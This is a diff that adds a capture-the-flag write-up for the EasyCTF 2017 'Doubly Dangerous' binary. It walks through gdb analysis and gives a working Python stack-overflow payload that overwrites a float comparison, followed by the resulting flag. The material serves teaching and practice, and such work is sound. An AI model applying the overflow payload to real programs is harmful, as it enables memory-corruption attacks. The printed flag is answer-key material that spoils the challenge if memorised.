|
| 1 | +# Doubly Dangerous - 110 Points |
| 2 | + |
| 3 | +There seems to be an issue with [this](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/doubly-dangerous/doubly_dangerous?raw=true) binary. Can you exploit it? |
| 4 | + |
| 5 | +### Solution |
| 6 | + |
| 7 | +###### Writeup by VoidMercy from phsst |
| 8 | + |
| 9 | +We were given a binary. |
| 10 | + |
| 11 | +We first run it to see what it does |
| 12 | + |
| 13 | +``` |
| 14 | +Give me a string: |
| 15 | +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
| 16 | +nope! |
| 17 | +Segmentation fault |
| 18 | +``` |
| 19 | + |
| 20 | +Seems like a buffer overflow because there was a segmentation fault. This means gets() was probably used, and gets() does not care about the length of the string we input. Now let's take a look at the code in gdb with |
| 21 | + |
| 22 | +``` |
| 23 | +gdb doubly_dangerous |
| 24 | +set disassembly-flavor intel |
| 25 | +disas main |
| 26 | +``` |
| 27 | + |
| 28 | +Here is the interesting instruction: |
| 29 | + |
| 30 | +``` |
| 31 | +0x0804863c <+53>: fld DWORD PTR [ebp-0xc] |
| 32 | +0x0804863f <+56>: fld DWORD PTR ds:0x804876c |
| 33 | +0x08048645 <+62>: fucomip st,st(1) |
| 34 | +``` |
| 35 | + |
| 36 | +We can see that fucomip is being used, which is floating point instructions. We surmise that we need to make this compare return true. We can see that the value at 0x804876c is being compared to the value at ebp-0xc. Because we saw a segmentation fault, we know this consists of an overflow. We experiment with the amount of bytes to type until the value at ebp-0xc is overflowed. |
| 37 | + |
| 38 | +``` |
| 39 | +python -c "print 'A'*69" > temp |
| 40 | +
|
| 41 | +(gdb) r < temp |
| 42 | +... |
| 43 | +Breakpoint 1, 0x08048686 in main () |
| 44 | +(gdb) x/10wx $ebp-0xc |
| 45 | +0xffffd0dc: 0x41414141 0xf7fc0041 0xffffd100 0x00000000 |
| 46 | +0xffffd0ec: 0xf7e31a83 0x08048690 0x00000000 0x00000000 |
| 47 | +0xffffd0fc: 0xf7e31a83 0x00000001 |
| 48 | +``` |
| 49 | + |
| 50 | +Alright, we can see that 69 characters overflows the content at ebp-0xc and 1 extra character. This means we need 64 characters to get the ebp-0xc, and then with the next four characters, we can control what value to place in $ebp-0xc. Now, we need to check what value to replace it with. |
| 51 | + |
| 52 | +``` |
| 53 | +(gdb) x/10wx 0x804876c |
| 54 | +0x804876c: 0x41348000 0x3b031b01 0x00000030 0x00000005 |
| 55 | +0x804877c: 0xfffffc60 0x0000004c 0xfffffe0b 0x00000070 |
| 56 | +0x804878c: 0xfffffe97 0x00000090 |
| 57 | +``` |
| 58 | + |
| 59 | +We can see the value we need is 0x41348000. Now we can construct our exploit. |
| 60 | + |
| 61 | +``` |
| 62 | +python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous |
| 63 | +``` |
| 64 | + |
| 65 | +``` |
| 66 | +python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous |
| 67 | +Give me a string: |
| 68 | +Success! Here is your flag: |
| 69 | +easyctf{bofs_and_floats_are_d0uble_tr0uble!} |
| 70 | +``` |
| 71 | + |
| 72 | +## Flag |
| 73 | + |
| 74 | +>easyctf{bofs_and_floats_are_d0uble_tr0uble!} |
0 commit comments